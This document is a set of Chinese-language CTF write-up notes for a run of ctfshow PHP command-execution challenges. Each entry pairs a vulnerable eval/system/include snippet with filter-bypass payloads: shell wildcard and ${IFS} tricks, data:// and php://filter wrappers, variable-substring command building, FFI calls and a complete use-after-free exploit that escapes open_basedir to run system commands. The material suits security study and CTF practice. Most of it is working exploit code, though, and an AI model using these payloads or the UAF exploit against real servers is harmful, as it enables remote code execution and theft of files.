29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=system("ls");
?c=system("cat fla*"); //过滤了flag
30
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=echo `ls`;
?c=echo `cat fl*`;
31
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
方法一寻找其他命令执行函数
?c=passthru($_GET[a]);&a=cat flag.php
方法二
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
32-36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了空格可以用${IFS}
和%0a
代替,分号可以用?>代替
但是过滤了括号之后就不能用带有括号的函数,php中include是可以不带括号的函数
?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
37
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
?c=data://text/plain;base64,[base64_encode_shell]
?c=data://text/plain,<?=system("tac f*");?> #短标签
38
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
?c=data://text/plain,<?=system("tac f*");?>
或者日志包含
39
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?c=data://text/plain,<?=system("tac *");?>
40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=print_r(get_defined_vars());
#打印当前定义的变量
#POST一个键值对再打印
?c=print_r(get_defined_vars());
post:1=system("ls");
#获得了传入的值
?c=print_r(array_pop(next(get_defined_vars())));
post:1=system("ls");
#执行值
?c=eval(array_pop(next(get_defined_vars())));
post:1=system("ls");
41
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
通过或构造字符
https://blog.csdn.net/miuzzx/article/details/108569080
https://www.cnblogs.com/aninock/p/15125215.html
42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
?c=tac *%0a
?c=tac *;
43
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac *%0a
?c=tac *|| 或 & 等 #进行url编码
44
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
同上
45
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac%09*%0a
绕过对空格的过滤即可
46~49
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac%09fla%3f.php%0a #此处虽有数字,但自动url解码后的结果并不是数字
50~51
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=nl<fla''g.php|| #经测试nl<fla?.php||会失效,虽然shell中可以
52
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=nl${IFS}fla\g.php|| #发现并不是真正的flag
?c=ls${IFS}/|| #在根目录发现flag
?c=nl${IFS}$(find${IFS}/${IFS}-name${IFS}fla\g)|| #查找并打印
53
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
?c=nl${IFS}fla\g.php
54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
前面对于指令的过滤可以通过单引号或双引号绕过,如ca''t,但这题就不行了
find${IFS}/${IFS}-name${IFS}ca? #查找到cat所在位置/bin/cat
?c=/bin/ca?${IFS}f?ag.php
或者用mv cp
55
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
https://blog.csdn.net/qq_46091464/article/details/108513145
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
上传脚本,存为临时文件,再去执行脚本
或
?c=/???/????64 ????.??? //也就是?c=/bin/base64 flag.php
56
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
同上
57
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这一题需要我们构造36
出来,因为是在shell环境下的,所以需要使用linux shell的一些特性:
$(())
代表做一次运算,因为里面为空,也表示值为0
$((~$(())))
对0作取反运算,值为-1
$(($((~$(())))$((~$(())))))
-1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))
再对-2做一次取反得到1,所以值为1
如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
那么最后只需要37个-1相加再取反即可。
写个脚本生成payload:
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)
58~70
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
1.
c=print_r(scandir(".")); #列目录,更多见 列目录.md
不再局限于代码执行,直接靠PHP来打印文件
c=highlight_file("flag.php");
更多读文件函数见 读取文件函数.md
2.
AntSword、哥斯拉等试试
3.
结合文件包含:
post:c=include($_GET[1]);
?1=php://filter/……
4.
c=include'flag.php';echo $flag;
c=include'flag.php';print_r(get_defined_vars());
5.
copy( string $source, string $dest)
6.
curl
https://blog.51cto.com/u_15230485/2821170
使用绝对地址实现对文件的读取
71
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
include'/flag.txt';exit();
72
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit(); #显示根目录
c=include('/flag0.txt');exit();
提示:open_basedir restriction in effect. File(/flag0.txt) is not within the allowed path(s)
限制了访问目录
通过漏洞绕过对根目录访问的限制
通过UAF(Use After Free)
c=function ctfshow($cmd)
{
global $abc, $helper, $backtrace;
class Vuln
{
public $a;
public function __destruct()
{
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if (!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper
{
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8)
{
$address = 0;
for ($j = $s - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
function ptr2str($ptr, $m = 8)
{
$out = "";
for ($i = 0; $i < $m; $i++) {
$out .= sprintf("%c", ($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8)
{
$i = 0;
for ($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c", ($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8)
{
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if ($s != 8) {
$leak %= 2 << ($s * 8) - 1;
}
return $leak;
}
function parse_elf($base)
{
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for ($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if ($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if ($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if (!$data_addr || !$text_size || !$data_size) return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf)
{
list($data_addr, $text_size, $data_size) = $elf;
for ($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if ($deref != 0x746e6174736e6f63) continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if ($deref != 0x786568326e6962) continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak)
{
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for ($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if ($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs)
{
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if ($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while ($f_entry != 0);
return false;
}
function trigger_uaf($arg)
{
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if (stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for ($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) {
};
if (strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if (!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if (!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if (!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if (!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for ($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");
ob_end_flush();
#需要通过url编码
73~74
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit(); #显示根目录
c=include'/flagc.txt';exit();
75~76
先扫描目录
使用数据库读取
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
77
先扫描目录
c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();
再去访问1.txt
118
使用shell内置变量拼凑指令
┌──(root💀kali)-[~]
└─# echo ${PWD}
/root
┌──(root💀kali)-[~]
└─# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/
┌──(root💀kali)-[~]
└─# echo ${PWD:~0:1} #从结尾开始往前的第一个字符
t
┌──(root💀kali)-[~]
└─# echo ${PWD:~0}
t
┌──(root💀kali)-[~]
└─# echo ${PWD:~A} #所以字母和0具有同样作用
t
┌──(root💀kali)-[~]
└─# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
┌──(root💀kali)-[~]
└─# echo ${PATH:~A}
n
┌──(root💀kali)-[~]
└─# ls
Desktop Documents Downloads flag.txt Music Pictures Public Templates Videos
┌──(root💀kali)-[~]
└─# ${PATH:~A}l flag.txt
1 flag{test}
在提示中我们可以看到这张图,里面有当前目录和环境变量,那么就想办法用这两者中的字母构建/bin
目录底下的命令:
${PWD} /var/www/html
${PWD:~0} l
${PATH} /bin
${PATH:~0} n
${PATH:~C}${PWD:~C}$IFS????.??? #数字和小写字母都被过滤
//也就是 nl flag.php
119
上一题的payload不给用了,PATH
被ban了。
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1
,然后在此shell中再打开一个shell时$SHLVL=2
。
我们有:
${SHLVL} //一般是一个个位数
${#SHLVL} //1,表示结果的字符长度
${PWD:${#}:${#SHLVL}} //表示/
${USER} //www-data
${PHP_VERSION:~A} //2
${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} //at
${PHP_VERSION:~A}
来自于返回报文的头部,为2
:
所以最终的payload如下:
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
也就是:
/???/?at ????.???
120
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
121
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
/bin/rev
将输出结果写入文件1.txt,再rev 1.txt
124
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
$pi=base_convert(37907361743,10,36)(dechex(1598506324)); //_GET
$$pi //$_GET
$$pi{abs}($$pi{acos}) //$_GET($_GET[acos])注意:payload用了花括号代替方括号
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php